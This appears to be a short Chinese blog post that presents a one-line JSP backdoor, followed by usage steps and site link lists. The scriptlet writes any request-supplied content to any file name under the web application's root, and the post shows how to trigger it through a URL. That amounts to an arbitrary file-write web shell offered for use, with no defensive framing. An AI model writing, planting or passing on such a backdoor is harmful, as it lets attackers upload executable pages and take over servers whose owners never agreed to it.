<% 
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); 
%>

这个 后门估计不用我说了吧.还是提示一下咯.保存为1.jsp 提交url!
http://localhost/1.jsp?f=1.txt&t=hello
然后:http://localhost/1.txt 就出来了 内容为 hello ..... 

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2021-10-19
  • 2021-10-06
  • 2021-10-08
  • 2021-12-19
  • 2021-12-19
猜你喜欢
  • 2021-07-27
  • 2022-12-23
  • 2021-07-31
  • 2021-06-07
  • 2021-12-25
  • 2022-12-23
相关资源
相似解决方案